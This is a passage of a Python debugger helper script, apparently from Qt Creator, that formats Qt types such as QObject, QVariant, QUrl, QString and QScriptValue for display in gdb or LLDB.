staticMetaObject) #warn("SMO DATA: %s " % staticMetaObject["d"]["stringdata"]) superData = staticMetaObject["d"]["superdata"] #warn("SUPERDATA: %s" % superData) #while not d.isNull(superData): # superData = superData.dereference()["d"]["superdata"] # warn("SUPERDATA: %s" % superData) if privateType is None: #d.putValue(d.cleanAddress(d.pointerValue(value)) d.putPlainChildren(value) return #warn("OBJECTNAME: %s " % objectName) dd = value["d_ptr"]["d"] d_ptr = dd.cast(privateType.pointer()).dereference() #warn("D_PTR: %s " % d_ptr) mo = d_ptr["metaObject"] if d.isNull(mo): mo = staticMetaObject #warn("MO: %s " % mo) #warn("MO.D: %s " % mo["d"]) metaData = mo["d"]["data"] metaStringData = mo["d"]["stringdata"] # This is char * in Qt 4 and ByteArrayData * in Qt 5. # Force it to the char * data in the Qt 5 case. try: offset = metaStringData["offset"] metaStringData = metaStringData.cast(d.charPtrType()) + int(offset) except: pass #extradata = mo["d"]["extradata"] # Capitalization! #warn("METADATA: %s " % metaData) #warn("STRINGDATA: %s " % metaStringData) #warn("TYPE: %s " % value.type) #warn("INAME: %s " % d.currentIName) d.putEmptyValue() #QSignalMapper::staticMetaObject #d.checkRef(d_ptr["ref"]) d.putNumChild(4) if d.isExpanded(): with Children(d): d.putQObjectGuts(value) # Local data. if privateTypeName != ns + "QObjectPrivate": if not privateType is None: with SubItem(d, "data"): d.putEmptyValue() d.putNoType() d.putPlainChildren(d_ptr, False) d.putFields(value) # Parent and children. if stripClassTag(str(value.type)) == ns + "QObject": d.putSubItem("parent", d_ptr["parent"]) d.putSubItem("children", d_ptr["children"]) # Metaobject. d.putSubItem("metaobject", mo) # Dynamic Properties. with SubItem(d, "dynamics"): # Prolog extraData = d_ptr["extraData"] # Capitalization! if d.isNull(extraData): dynamicPropertyCount = 0 else: extraDataType = d.lookupType( ns + "QObjectPrivate::ExtraData").pointer() extraData = extraData.cast(extraDataType) ed = extraData.dereference() names = ed["propertyNames"] values = ed["propertyValues"] #userData = ed["userData"] namesBegin = names["d"]["begin"] namesEnd = names["d"]["end"] namesArray = names["d"]["array"] dynamicPropertyCount = namesEnd - namesBegin d.putNoType() d.putItemCount(dynamicPropertyCount) d.putNumChild(dynamicPropertyCount) if d.isExpanded() and d.isGdb: import gdb # FIXME: Make this global. Don't leak. variant = "'%sQVariant'" % ns # Avoid malloc symbol clash with QVector gdb.execute("set $d = (%s*)calloc(sizeof(%s), 1)" % (variant, variant)) gdb.execute("set $d.d.is_shared = 0") with Children(d): dummyType = d.voidPtrType().pointer() namesType = d.lookupType(ns + "QByteArray") valuesBegin = values["d"]["begin"] valuesEnd = values["d"]["end"] valuesArray = values["d"]["array"] valuesType = d.lookupType(ns + "QVariant") p = namesArray.cast(dummyType) + namesBegin q = valuesArray.cast(dummyType) + valuesBegin for i in xrange(dynamicPropertyCount): with SubItem(d, i): pp = p.cast(namesType.pointer()).dereference(); d.putField("key", d.encodeByteArray(pp)) d.putField("keyencoded", Hex2EncodedLatin1) qq = q.cast(valuesType.pointer().pointer()) qq = qq.dereference(); d.putField("addr", d.cleanAddress(qq)) d.putField("exp", "*(%s*)%s" % (variant, d.cleanAddress(qq))) t = qdump__QVariant(d, qq) # Override the "QVariant (foo)" output. d.putBetterType(t) p += 1 q += 1 # Connections. with SubItem(d, "connections"): d.putNoType() connections = d_ptr["connectionLists"] connectionListCount = 0 if not d.isNull(connections): connectionListCount = connections["d"]["size"] d.putItemCount(connectionListCount, 0) d.putNumChild(connectionListCount) if d.isExpanded(): pp = 0 with Children(d): vectorType = d.fieldAt(connections.type.target(), 0).type innerType = d.templateArgument(vectorType, 0) # Should check: innerType == ns::QObjectPrivate::ConnectionList p = gdb.Value(connections["p"]["array"]).cast(innerType.pointer()) for i in xrange(connectionListCount): first = p.dereference()["first"] while not d.isNull(first): with SubItem(d, pp): connection = first.dereference() d.putItem(connection) d.putValue(connection["callFunction"]) first = first["nextConnectionList"] # We need to enforce some upper limit. pp += 1 if pp > 1000: break p += 1 if pp < 1000: d.putItemCount(pp) # Active connection. with SubItem(d, "currentSender"): d.putNoType() sender = d_ptr["currentSender"] d.putPointerValue(sender) if d.isNull(sender): d.putNumChild(0) else: d.putNumChild(1) if d.isExpanded(): with Children(d): # Sending object d.putSubItem("object", sender["sender"]) # Signal in sending object with SubItem(d, "signal"): d.putValue(sender["signal"]) d.putNoType() d.putNumChild(0) # QObject # static const uint qt_meta_data_QObject[] = { # int revision; # int className; # int classInfoCount, classInfoData; # int methodCount, methodData; # int propertyCount, propertyData; # int enumeratorCount, enumeratorData; # int constructorCount, constructorData; //since revision 2 # int flags; //since revision 3 # int signalCount; //since revision 4 # // content: # 4, // revision # 0, // classname # 0, 0, // classinfo # 4, 14, // methods # 1, 34, // properties # 0, 0, // enums/sets # 2, 37, // constructors # 0, // flags # 2, // signalCount # /* 14 */ # // signals: signature, parameters, type, tag, flags # 9, 8, 8, 8, 0x05, # 29, 8, 8, 8, 0x25, # /* 24 */ # // slots: signature, parameters, type, tag, flags # 41, 8, 8, 8, 0x0a, # 55, 8, 8, 8, 0x08, # /* 34 */ # // properties: name, type, flags # 90, 82, 0x0a095103, # /* 37 */ # // constructors: signature, parameters, type, tag, flags # 108, 101, 8, 8, 0x0e, # 126, 8, 8, 8, 0x2e, # 0 // eod # }; # static const char qt_meta_stringdata_QObject[] = { # "QObject\0\0destroyed(QObject*)\0destroyed()\0" # "deleteLater()\0_q_reregisterTimers(void*)\0" # "QString\0objectName\0parent\0QObject(QObject*)\0" # "QObject()\0" # }; # QSignalMapper # static const uint qt_meta_data_QSignalMapper[] = { # // content: # 4, // revision # 0, // classname # 0, 0, // classinfo # 7, 14, // methods # 0, 0, // properties # 0, 0, // enums/sets # 0, 0, // constructors # 0, // flags # 4, // signalCount # // signals: signature, parameters, type, tag, flags # 15, 14, 14, 14, 0x05, # 27, 14, 14, 14, 0x05, # 43, 14, 14, 14, 0x05, # 60, 14, 14, 14, 0x05, # // slots: signature, parameters, type, tag, flags # 77, 14, 14, 14, 0x0a, # 90, 83, 14, 14, 0x0a, # 104, 14, 14, 14, 0x08, # 0 // eod # }; # static const char qt_meta_stringdata_QSignalMapper[] = { # "QSignalMapper\0\0mapped(int)\0mapped(QString)\0" # "mapped(QWidget*)\0mapped(QObject*)\0" # "map()\0sender\0map(QObject*)\0" # "_q_senderDestroyed()\0" # }; # const QMetaObject QSignalMapper::staticMetaObject = { # { &QObject::staticMetaObject, qt_meta_stringdata_QSignalMapper, # qt_meta_data_QSignalMapper, 0 } # }; # // Meta enumeration helpers # static inline void dumpMetaEnumType(QDumper &d, const QMetaEnum &me) # { # QByteArray type = me.scope() # if !type.isEmpty()) # type += "::" # type += me.name() # d.putField("type", type.constData()) # } # # static inline void dumpMetaEnumValue(QDumper &d, const QMetaProperty &mop, # int value) # { # # const QMetaEnum me = mop.enumerator() # dumpMetaEnumType(d, me) # if const char *enumValue = me.valueToKey(value)) { # d.putValue(enumValue) # } else { # d.putValue(value) # } # d.putField("numchild", 0) # } # # static inline void dumpMetaFlagValue(QDumper &d, const QMetaProperty &mop, # int value) # { # const QMetaEnum me = mop.enumerator() # dumpMetaEnumType(d, me) # const QByteArray flagsValue = me.valueToKeys(value) # if flagsValue.isEmpty(): # d.putValue(value) # else: # d.putValue(flagsValue.constData()) # d.putNumChild(0) # } def qdump__QPixmap(d, value): offset = (3 if d.qtVersion() >= 0x050000 else 2) * d.ptrSize() base = d.extractPointer(d.addressOf(value) + offset) if base == 0: d.putValue("(invalid)") else: width = d.extractInt(base + d.ptrSize()) height = d.extractInt(base + d.ptrSize() + 4) d.putValue("(%dx%d)" % (width, height)) d.putNumChild(0) def qdump__QPoint(d, value): x = int(value["xp"]) y = int(value["yp"]) d.putValue("(%s, %s)" % (x, y)) d.putPlainChildren(value) def qdump__QPointF(d, value): x = float(value["xp"]) y = float(value["yp"]) d.putValue("(%s, %s)" % (x, y)) d.putPlainChildren(value) def qdump__QRect(d, value): def pp(l): if l >= 0: return "+%s" % l return l x1 = int(value["x1"]) y1 = int(value["y1"]) x2 = int(value["x2"]) y2 = int(value["y2"]) w = x2 - x1 + 1 h = y2 - y1 + 1 d.putValue("%sx%s%s%s" % (w, h, pp(x1), pp(y1))) d.putPlainChildren(value) def qdump__QRectF(d, value): def pp(l): if l >= 0: return "+%s" % l return l x = float(value["xp"]) y = float(value["yp"]) w = float(value["w"]) h = float(value["h"]) d.putValue("%sx%s%s%s" % (w, h, pp(x), pp(y))) d.putPlainChildren(value) def qdump__QRegExp(d, value): # value.priv.engineKey.pattern privAddress = d.extractPointer(value) engineKeyAddress = privAddress + d.ptrSize() patternAddress = engineKeyAddress d.putStringValueByAddress(patternAddress) d.putNumChild(1) if d.isExpanded(): with Children(d): # QRegExpPrivate: # - QRegExpEngine *eng (+0) # - QRegExpEngineKey: (+1ptr) # - QString pattern; (+1ptr) # - QRegExp::PatternSyntax patternSyntax; (+2ptr) # - Qt::CaseSensitivity cs; (+2ptr +1enum +pad?) # - bool minimal (+2ptr +2enum +2pad?) # - QString t (+2ptr +2enum +1bool +3pad?) # - QStringList captures (+3ptr +2enum +1bool +3pad?) # FIXME: Remove need to call. Needed to warm up cache. d.call(value, "capturedTexts") # create cache ns = d.qtNamespace() with SubItem(d, "syntax"): # value["priv"]["engineKey"["capturedCache"] address = engineKeyAddress + d.ptrSize() typ = d.lookupType(ns + "QRegExp::PatternSyntax") d.putItem(d.createValue(address, typ)) with SubItem(d, "captures"): # value["priv"]["capturedCache"] address = privAddress + 3 * d.ptrSize() + 12 typ = d.lookupType(ns + "QStringList") d.putItem(d.createValue(address, typ)) def qdump__QRegion(d, value): p = value["d"].dereference()["qt_rgn"] if d.isNull(p): d.putValue("<empty>") d.putNumChild(0) else: # struct QRegionPrivate: # int numRects; # QVector<QRect> rects; # QRect extents; # QRect innerRect; # int innerArea; pp = d.extractPointer(p) n = d.extractInt(pp) d.putItemCount(n) d.putNumChild(n) if d.isExpanded(): with Children(d): v = d.ptrSize() ns = d.qtNamespace() rectType = d.lookupType(ns + "QRect") d.putIntItem("numRects", n) d.putSubItem("extents", d.createValue(pp + 2 * v, rectType)) d.putSubItem("innerRect", d.createValue(pp + 2 * v + rectType.sizeof, rectType)) d.putIntItem("innerArea", d.extractInt(pp + 2 * v + 2 * rectType.sizeof)) # FIXME try: # Can fail if QVector<QRect> debuginfo is missing. vectType = d.lookupType("%sQVector<%sQRect>" % (ns, ns)) d.putSubItem("rects", d.createValue(pp + v, vectType)) except: with SubItem(d, "rects"): d.putItemCount(n) d.putType("%sQVector<%sQRect>" % (ns, ns)) d.putNumChild(0) def qdump__QScopedPointer(d, value): d.putBetterType(d.currentType) d.putItem(value["d"]) def qdump__QSet(d, value): def hashDataFirstNode(dPtr, numBuckets): ePtr = dPtr.cast(nodeTypePtr) bucket = dPtr["buckets"] for n in xrange(numBuckets - 1, -1, -1): n = n - 1 if n < 0: break if d.pointerValue(bucket.dereference()) != d.pointerValue(ePtr): return bucket.dereference() bucket = bucket + 1 return ePtr def hashDataNextNode(nodePtr, numBuckets): nextPtr = nodePtr.dereference()["next"] if d.pointerValue(nextPtr.dereference()["next"]): return nextPtr dPtr = nodePtr.cast(hashDataType.pointer()).dereference() start = (int(nodePtr.dereference()["h"]) % numBuckets) + 1 bucket = dPtr.dereference()["buckets"] + start for n in xrange(numBuckets - start): if d.pointerValue(bucket.dereference()) != d.pointerValue(nextPtr): return bucket.dereference() bucket += 1 return nodePtr anon = d.childAt(value, 0) if d.isLldb: # Skip the inheritance level. anon = d.childAt(anon, 0) d_ptr = anon["d"] e_ptr = anon["e"] size = int(d_ptr.dereference()["size"]) d.check(0 <= size and size <= 100 * 1000 * 1000) d.checkRef(d_ptr["ref"]) d.putItemCount(size) d.putNumChild(size) if d.isExpanded(): hashDataType = d_ptr.type nodeTypePtr = d_ptr.dereference()["fakeNext"].type numBuckets = int(d_ptr.dereference()["numBuckets"]) innerType = e_ptr.dereference().type with Children(d, size, maxNumChild=1000, childType=innerType): for i in d.childRange(): if i == 0: node = hashDataFirstNode(d_ptr, numBuckets) else: node = hashDataNextNode(node, numBuckets) it = node.dereference().cast(innerType) with SubItem(d, i): key = it["key"] if not key: # LLDB can't access directly since it's in anonymous union # for Qt4 optimized int keytype key = it[1]["key"] d.putItem(key) def qdump__QSharedData(d, value): d.putValue("ref: %s" % value["ref"]["_q_value"]) d.putNumChild(0) def qdump__QSharedDataPointer(d, value): d_ptr = value["d"] if d.isNull(d_ptr): d.putValue("(null)") d.putNumChild(0) else: # This replaces the pointer by the pointee, making the # pointer transparent. try: innerType = d.templateArgument(value.type, 0) except: d.putValue(d_ptr) d.putPlainChildren(value) return d.putBetterType(d.currentType) d.putItem(d_ptr.cast(innerType.pointer()).dereference()) def qdump__QSharedPointer(d, value): qdump__QWeakPointer(d, value) def qdump__QSize(d, value): w = int(value["wd"]) h = int(value["ht"]) d.putValue("(%s, %s)" % (w, h)) d.putPlainChildren(value) def qdump__QSizeF(d, value): w = float(value["wd"]) h = float(value["ht"]) d.putValue("(%s, %s)" % (w, h)) d.putPlainChildren(value) def qform__QStack(): return arrayForms() def qdump__QStack(d, value): qdump__QVector(d, value) def qdump__QStandardItem(d, value): d.putBetterType(d.currentType) try: d.putItem(value["d_ptr"]) except: d.putPlainChildren(value) def qedit__QString(d, value, data): d.call(value, "resize", str(len(data))) (base, size, alloc) = d.stringData(value) d.setValues(base, "short", [ord(c) for c in data]) def qform__QString(): return "Inline,Separate Window" def qdump__QString(d, value): d.putStringValue(value) d.putNumChild(0) format = d.currentItemFormat() if format == 1: d.putDisplay(StopDisplay) elif format == 2: d.putField("editformat", DisplayUtf16String) d.putField("editvalue", d.encodeString(value)) def qdump__QStringRef(d, value): if d.isNull(value["m_string"]): d.putValue("(null)"); d.putNumChild(0) return s = value["m_string"].dereference() data, size, alloc = d.stringData(s) data += 2 * int(value["m_position"]) size = int(value["m_size"]) s = d.readMemory(data, 2 * size) d.putValue(s, Hex4EncodedLittleEndian) d.putPlainChildren(value) def qdump__QStringList(d, value): listType = d.directBaseClass(value.type) qdump__QList(d, value.cast(listType)) d.putBetterType(value.type) def qdump__QTemporaryFile(d, value): qdump__QFile(d, value) def qdump__QTextCodec(d, value): name = d.call(value, "name") d.putValue(d.encodeByteArray(d, name), 6) d.putNumChild(2) if d.isExpanded(): with Children(d): d.putCallItem("name", value, "name") d.putCallItem("mibEnum", value, "mibEnum") d.putFields(value) def qdump__QTextCursor(d, value): privAddress = d.extractPointer(value) if privAddress == 0: d.putValue("(invalid)") d.putNumChild(0) else: positionAddress = privAddress + 2 * d.ptrSize() + 8 d.putValue(d.extractInt(positionAddress)) d.putNumChild(1) if d.isExpanded(): with Children(d): positionAddress = privAddress + 2 * d.ptrSize() + 8 d.putIntItem("position", d.extractInt(positionAddress)) d.putIntItem("anchor", d.extractInt(positionAddress + d.intSize())) d.putCallItem("selected", value, "selectedText") d.putFields(value) def qdump__QTextDocument(d, value): d.putEmptyValue() d.putNumChild(1) if d.isExpanded(): with Children(d): d.putCallItem("blockCount", value, "blockCount") d.putCallItem("characterCount", value, "characterCount") d.putCallItem("lineCount", value, "lineCount") d.putCallItem("revision", value, "revision") d.putCallItem("toPlainText", value, "toPlainText") d.putFields(value) def qform__QUrl(): return "Inline,Separate Window" def qdump__QUrl(d, value): if d.qtVersion() < 0x050000: privAddress = d.extractPointer(value) if not privAddress: # d == 0 if QUrl was constructed with default constructor d.putValue("<invalid>") return encodedOriginalAddress = privAddress + 8 * d.ptrSize() d.putValue(d.encodeByteArrayHelper(d.extractPointer(encodedOriginalAddress)), Hex2EncodedLatin1) d.putNumChild(8) if d.isExpanded(): stringType = d.lookupType(d.qtNamespace() + "QString") baType = d.lookupType(d.qtNamespace() + "QByteArray") with Children(d): # Qt 4 only decodes the original string if some detail is requested d.putCallItem("scheme", value, "scheme") d.putCallItem("userName", value, "userName") d.putCallItem("password", value, "password") d.putCallItem("host", value, "host") d.putCallItem("path", value, "path") d.putCallItem("query", value, "encodedQuery") d.putCallItem("fragment", value, "fragment") d.putCallItem("port", value, "port") d.putFields(value) else: # QUrlPrivate: # - QAtomicInt ref; # - int port; # - QString scheme; # - QString userName; # - QString password; # - QString host; # - QString path; # - QString query; # - QString fragment; privAddress = d.extractPointer(value) if not privAddress: # d == 0 if QUrl was constructed with default constructor d.putValue("<invalid>") return schemeAddr = privAddress + 2 * d.intSize() scheme = d.encodeStringHelper(d.extractPointer(schemeAddr)) userName = d.encodeStringHelper(d.extractPointer(schemeAddr + 1 * d.ptrSize())) password = d.encodeStringHelper(d.extractPointer(schemeAddr + 2 * d.ptrSize())) host = d.encodeStringHelper(d.extractPointer(schemeAddr + 3 * d.ptrSize())) path = d.encodeStringHelper(d.extractPointer(schemeAddr + 4 * d.ptrSize())) query = d.encodeStringHelper(d.extractPointer(schemeAddr + 5 * d.ptrSize())) fragment = d.encodeStringHelper(d.extractPointer(schemeAddr + 6 * d.ptrSize())) port = d.extractInt(d.extractPointer(value) + d.intSize()) url = scheme url += "3a002f002f00" if len(userName): url += userName url += "4000" url += host if port >= 0: url += "3a00" url += ''.join(["%02x00" % ord(c) for c in str(port)]) url += path d.putValue(url, Hex4EncodedLittleEndian) format = d.currentItemFormat() if format == 1: d.putDisplay(StopDisplay) elif format == 2: d.putField("editformat", DisplayUtf16String) d.putField("editvalue", url) d.putNumChild(8) if d.isExpanded(): stringType = d.lookupType(d.qtNamespace() + "QString") with Children(d): d.putIntItem("port", port) d.putGenericItem("scheme", stringType, scheme, Hex4EncodedLittleEndian) d.putGenericItem("userName", stringType, userName, Hex4EncodedLittleEndian) d.putGenericItem("password", stringType, password, Hex4EncodedLittleEndian) d.putGenericItem("host", stringType, host, Hex4EncodedLittleEndian) d.putGenericItem("path", stringType, path, Hex4EncodedLittleEndian) d.putGenericItem("query", stringType, query, Hex4EncodedLittleEndian) d.putGenericItem("fragment", stringType, fragment, Hex4EncodedLittleEndian) def qdumpHelper_QVariant_0(d, blob): # QVariant::Invalid d.putBetterType("%sQVariant (invalid)" % d.qtNamespace()) d.putValue("(invalid)") def qdumpHelper_QVariant_1(d, blob): # QVariant::Bool d.putBetterType("%sQVariant (bool)" % d.qtNamespace()) d.putValue("true" if blob.extractByte() else "false") def qdumpHelper_QVariant_2(d, blob): # QVariant::Int d.putBetterType("%sQVariant (int)" % d.qtNamespace()) d.putValue("%s" % blob.extractInt()) def qdumpHelper_QVariant_3(d, blob): # uint d.putBetterType("%sQVariant (uint)" % d.qtNamespace()) d.putValue(blob.extractUInt()) def qdumpHelper_QVariant_4(d, blob): # qlonglong d.putBetterType("%sQVariant (qlonglong)" % d.qtNamespace()) d.putValue(blob.extractInt64()) def qdumpHelper_QVariant_5(d, blob): # qulonglong d.putBetterType("%sQVariant (qulonglong)" % d.qtNamespace()) d.putValue(blob.extractUInt64()) def qdumpHelper_QVariant_6(d, blob): # QVariant::Double d.putBetterType("%sQVariant (double)" % d.qtNamespace()) d.putValue(blob.extractDouble()) qdumpHelper_QVariants_A = [ qdumpHelper_QVariant_0, qdumpHelper_QVariant_1, qdumpHelper_QVariant_2, qdumpHelper_QVariant_3, qdumpHelper_QVariant_4, qdumpHelper_QVariant_5, qdumpHelper_QVariant_6 ] qdumpHelper_QVariants_B = [ "QChar", # 7 "QVariantMap", # 8 "QVariantList",# 9 "QString", # 10 "QStringList", # 11 "QByteArray", # 12 "QBitArray", # 13 "QDate", # 14 "QTime", # 15 "QDateTime", # 16 "QUrl", # 17 "QLocale", # 18 "QRect", # 19 "QRectF", # 20 "QSize", # 21 "QSizeF", # 22 "QLine", # 23 "QLineF", # 24 "QPoint", # 25 "QPointF", # 26 "QRegExp", # 27 "QVariantHash",# 28 ] def qdumpHelper_QVariant_31(d, blob): # QVariant::VoidStar d.putBetterType("%sQVariant (void *)" % d.qtNamespace()) d.putValue("0x%x" % d.extractPointer(blob)) def qdumpHelper_QVariant_32(d, blob): # QVariant::Long d.putBetterType("%sQVariant (long)" % d.qtNamespace()) d.putValue("%s" % blob.extractLong()) def qdumpHelper_QVariant_33(d, blob): # QVariant::Short d.putBetterType("%sQVariant (short)" % d.qtNamespace()) d.putValue("%s" % blob.extractShort()) def qdumpHelper_QVariant_34(d, blob): # QVariant::Char d.putBetterType("%sQVariant (char)" % d.qtNamespace()) d.putValue("%s" % blob.extractByte()) def qdumpHelper_QVariant_35(d, blob): # QVariant::ULong d.putBetterType("%sQVariant (unsigned long)" % d.qtNamespace()) d.putValue("%s" % blob.extractULong()) def qdumpHelper_QVariant_36(d, blob): # QVariant::UShort d.putBetterType("%sQVariant (unsigned short)" % d.qtNamespace()) d.putValue("%s" % blob.extractUShort()) def qdumpHelper_QVariant_37(d, blob): # QVariant::UChar d.putBetterType("%sQVariant (unsigned char)" % d.qtNamespace()) d.putValue("%s" % blob.extractByte()) def qdumpHelper_QVariant_38(d, blob): # QVariant::Float d.putBetterType("%sQVariant (float)" % d.qtNamespace()) d.putValue("%s" % blob.extractFloat()) qdumpHelper_QVariants_D = [ qdumpHelper_QVariant_31, qdumpHelper_QVariant_32, qdumpHelper_QVariant_33, qdumpHelper_QVariant_34, qdumpHelper_QVariant_35, qdumpHelper_QVariant_36, qdumpHelper_QVariant_37, qdumpHelper_QVariant_38 ] qdumpHelper_QVariants_E = [ "QFont", # 64 "QPixmap", # 65 "QBrush", # 66 "QColor", # 67 "QPalette", # 68 "QIcon", # 69 "QImage", # 70 "QPolygon", # 71 "QRegion", # 72 "QBitmap", # 73 "QCursor", # 74 ] qdumpHelper_QVariants_F = [ # Qt 5. In Qt 4 add one. "QKeySequence",# 75 "QPen", # 76 "QTextLength", # 77 "QTextFormat", # 78 "X", "QTransform", # 80 "QMatrix4x4", # 81 "QVector2D", # 82 "QVector3D", # 83 "QVector4D", # 84 "QQuaternion", # 85 "QPolygonF" # 86 ] def qdump__QVariant(d, value): variantType = int(value["d"]["type"]) #warn("VARIANT TYPE: %s : " % variantType) # Well-known simple type. if variantType <= 6: blob = d.toBlob(value) qdumpHelper_QVariants_A[variantType](d, blob) d.putNumChild(0) return None # Extended Core type (Qt 5) if variantType >= 31 and variantType <= 38 and d.qtVersion() >= 0x050000: blob = d.toBlob(value) qdumpHelper_QVariants_D[variantType - 31](d, blob) d.putNumChild(0) return None # Extended Core type (Qt 4) if variantType >= 128 and variantType <= 135 and d.qtVersion() < 0x050000: if variantType == 128: p = d.extractPointer(value) d.putBetterType("%sQVariant (void *)" % d.qtNamespace()) d.putValue("0x%x" % p) else: if variantType == 135: blob = d.toBlob(value) else: p = d.extractPointer(value) p = d.extractPointer(p) blob = d.extractBlob(p, 8) qdumpHelper_QVariants_D[variantType - 128](d, blob) d.putNumChild(0) return None if variantType <= 86: # Known Core or Gui type. if variantType <= 28: innert = qdumpHelper_QVariants_B[variantType - 7] elif variantType <= 74: innert = qdumpHelper_QVariants_E[variantType - 64] elif d.qtVersion() < 0x050000: innert = qdumpHelper_QVariants_F[variantType - 76] else: innert = qdumpHelper_QVariants_F[variantType - 75] data = value["d"]["data"] ns = d.qtNamespace() inner = ns + innert if d.isLldb: # Looking up typedefs is problematic. if innert == "QVariantMap": inner = "%sQMap<%sQString, %sQVariant>" % (ns, ns, ns) elif innert == "QVariantHash": inner = "%sQHash<%sQString, %sQVariant>" % (ns, ns, ns) elif innert == "QVariantList": inner = "%sQList<%sQVariant>" % (ns, ns) innerType = d.lookupType(inner) if toInteger(value["d"]["is_shared"]): val = data["ptr"].cast(innerType.pointer().pointer()).dereference().dereference() else: val = data["ptr"].cast(innerType) d.putEmptyValue(-99) d.putItem(val) d.putBetterType("%sQVariant (%s)" % (d.qtNamespace(), innert)) return innert # User types. d_ptr = value["d"] typeCode = int(d_ptr["type"]) ns = d.qtNamespace() try: exp = "((const char *(*)(int))%sQMetaType::typeName)(%d)" % (ns, typeCode) type = str(d.parseAndEvaluate(exp)) except: exp = "%sQMetaType::typeName(%d)" % (ns, typeCode) type = str(d.parseAndEvaluate(exp)) type = type[type.find('"') + 1 : type.rfind('"')] type = type.replace("Q", ns + "Q") # HACK! type = type.replace("uint", "unsigned int") # HACK! type = type.replace("COMMA", ",") # HACK! type = type.replace(" ,", ",") # Lldb #warn("TYPE: %s" % type) data = d.call(value, "constData") #warn("DATA: %s" % data) d.putEmptyValue(-99) d.putType("%sQVariant (%s)" % (ns, type)) d.putNumChild(1) tdata = data.cast(d.lookupType(type).pointer()).dereference() if d.isExpanded(): with Children(d): with NoAddress(d): d.putSubItem("data", tdata) return tdata.type def qedit__QVector(d, value, data): values = data.split(',') size = len(values) d.call(value, "resize", str(size)) innerType = d.templateArgument(value.type, 0) try: # Qt 5. Will fail on Qt 4 due to the missing 'offset' member. offset = value["d"]["offset"] base = d.pointerValue(value["d"].cast(d.charPtrType()) + offset) except: # Qt 4. base = d.pointerValue(value["p"]["array"]) d.setValues(base, innerType, values) def qform__QVector(): return arrayForms() def qdump__QVector(d, value): data, size, alloc = d.vectorDataHelper(d.extractPointer(value)) d.check(0 <= size and size <= alloc and alloc <= 1000 * 1000 * 1000) d.putItemCount(size) d.putNumChild(size) innerType = d.templateArgument(value.type, 0) d.putPlotData(innerType, data, size) def qdump__QWeakPointer(d, value): d_ptr = value["d"] val = value["value"] if d.isNull(d_ptr) and d.isNull(val): d.putValue("(null)") d.putNumChild(0) return if d.isNull(d_ptr) or d.isNull(val): d.putValue("<invalid>") d.putNumChild(0) return weakref = int(d_ptr["weakref"]["_q_value"]) strongref = int(d_ptr["strongref"]["_q_value"]) d.check(strongref >= -1) d.check(strongref <= weakref) d.check(weakref <= 10*1000*1000) innerType = d.templateArgument(value.type, 0) if d.isSimpleType(innerType): d.putSimpleValue(val.dereference()) else: d.putEmptyValue() d.putNumChild(3) if d.isExpanded(): with Children(d): d.putSubItem("data", val.dereference().cast(innerType)) d.putIntItem("weakref", weakref) d.putIntItem("strongref", strongref) def qdump__QXmlAttributes(d, value): qdump__QList(d, value["attList"]) ####################################################################### # # V4 # ####################################################################### def qdump__QV4__String(d, value): d.putStringValue(value["identifier"]["string"]) d.putNumChild(0) def qdump__QV4__TypedValue(d, value): qdump__QV4__Value(d, d.directBaseObject(value)) d.putBetterType(value.type) def qdump__QV4__Value(d, value): try: if d.is64bit(): vtable = value["m"]["internalClass"]["vtable"] if toInteger(vtable["isString"]): d.putBetterType(d.qtNamespace() + "QV4::Value (String)") d.putStringValue(value["s"]["identifier"]["string"]) d.putNumChild(0) return except: pass # Fall back for cases that we do not handle specifically. d.putPlainChildren(value) ####################################################################### # # Webkit # ####################################################################### def jstagAsString(tag): # enum { Int32Tag = 0xffffffff }; # enum { CellTag = 0xfffffffe }; # enum { TrueTag = 0xfffffffd }; # enum { FalseTag = 0xfffffffc }; # enum { NullTag = 0xfffffffb }; # enum { UndefinedTag = 0xfffffffa }; # enum { EmptyValueTag = 0xfffffff9 }; # enum { DeletedValueTag = 0xfffffff8 }; if tag == -1: return "Int32" if tag == -2: return "Cell" if tag == -3: return "True" if tag == -4: return "Null" if tag == -5: return "Undefined" if tag == -6: return "Empty" if tag == -7: return "Deleted" return "Unknown" def qdump__QTJSC__JSValue(d, value): d.putEmptyValue() d.putNumChild(1) if d.isExpanded(): with Children(d): tag = value["u"]["asBits"]["tag"] payload = value["u"]["asBits"]["payload"] #d.putIntItem("tag", tag) with SubItem(d, "tag"): d.putValue(jstagAsString(int(tag))) d.putNoType() d.putNumChild(0) d.putIntItem("payload", int(payload)) d.putFields(value["u"]) if tag == -2: cellType = d.lookupType("QTJSC::JSCell").pointer() d.putSubItem("cell", payload.cast(cellType)) try: # FIXME: This might not always be a variant. delegateType = d.lookupType(d.qtNamespace() + "QScript::QVariantDelegate").pointer() delegate = scriptObject["d"]["delegate"].cast(delegateType) #d.putSubItem("delegate", delegate) variant = delegate["m_value"] d.putSubItem("variant", variant) except: pass def qdump__QScriptValue(d, value): # structure: # engine QScriptEnginePrivate # jscValue QTJSC::JSValue # next QScriptValuePrivate * # numberValue 5.5987310416280426e-270 myns::qsreal # prev QScriptValuePrivate * # ref QBasicAtomicInt # stringValue QString # type QScriptValuePrivate::Type: { JavaScriptCore, Number, String } #d.putEmptyValue() dd = value["d_ptr"]["d"] ns = d.qtNamespace() if d.isNull(dd): d.putValue("(invalid)") d.putNumChild(0) return if int(dd["type"]) == 1: # Number d.putValue(dd["numberValue"]) d.putType("%sQScriptValue (Number)" % ns) d.putNumChild(0) return if int(dd["type"]) == 2: # String d.putStringValue(dd["stringValue"]) d.putType("%sQScriptValue (String)" % ns) return d.putType("%sQScriptValue (JSCoreValue)" % ns) x = dd["jscValue"]["u"] tag = x["asBits"]["tag"] payload = x["asBits"]["payload"] #isValid = int(x["asBits"]["tag"]) != -6 # Empty #isCell = int(x["asBits"]["tag"]) == -2 #warn("IS CELL: %s " % isCell) #isObject = False #className = "UNKNOWN NAME" #if isCell: # # isCell() && asCell()->isObject(); # # in cell: m_structure->typeInfo().type() == ObjectType; # cellType = d.lookupType("QTJSC::JSCell").pointer() # cell = payload.cast(cellType).dereference() # dtype = "NO DYNAMIC TYPE" # try: # dtype = cell.dynamic_type # except: # pass # warn("DYNAMIC TYPE: %s" % dtype) # warn("STATUC %s" % cell.type) # type = cell["m_structure"]["m_typeInfo"]["m_type"] # isObject = int(type) == 7 # ObjectType; # className = "UNKNOWN NAME" #warn("IS OBJECT: %s " % isObject) #inline bool JSCell::inherits(const ClassInfo* info) const #for (const ClassInfo* ci = classInfo(); ci; ci = ci->parentClass) { # if (ci == info) # return true; #return false; try: # This might already fail for "native" payloads. scriptObjectType = d.lookupType(ns + "QScriptObject").pointer() scriptObject = payload.cast(scriptObjectType) # FIXME: This might not always be a variant. delegateType = d.lookupType(ns + 